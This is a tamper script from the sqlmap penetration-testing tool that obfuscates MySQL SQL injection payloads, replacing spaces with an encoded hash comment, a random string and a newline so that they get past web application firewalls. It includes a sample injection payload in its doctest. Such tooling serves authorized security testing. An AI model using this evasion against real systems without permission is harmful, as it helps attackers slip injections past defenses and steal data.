sqlmap/tamper/space2hash.py
2024-01-03 23:11:52 +01:00

56 lines
1.5 KiB
Python

#!/usr/bin/env python
"""
Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import os
import random
import string
from lib.core.common import singleTimeWarnMessage
from lib.core.compat import xrange
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
def tamper(payload, **kwargs):
"""
Replaces (MySQL) instances of space character (' ') with a pound character ('#') followed by a random string and a new line ('\n')
Requirement:
* MySQL
Tested against:
* MySQL 4.0, 5.0
Notes:
* Useful to bypass several web application firewalls
* Used during the ModSecurity SQL injection challenge,
http://modsecurity.org/demo/challenge.html
>>> random.seed(0)
>>> tamper('1 AND 9227=9227')
'1%23upgPydUzKpMX%0AAND%23RcDKhIr%0A9227=9227'
"""
retVal = ""
if payload:
for i in xrange(len(payload)):
if payload[i].isspace():
randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12)))
retVal += "%%23%s%%0A" % randomStr
elif payload[i] == '#' or payload[i:i + 3] == '-- ':
retVal += payload[i:]
break
else:
retVal += payload[i]
return retVal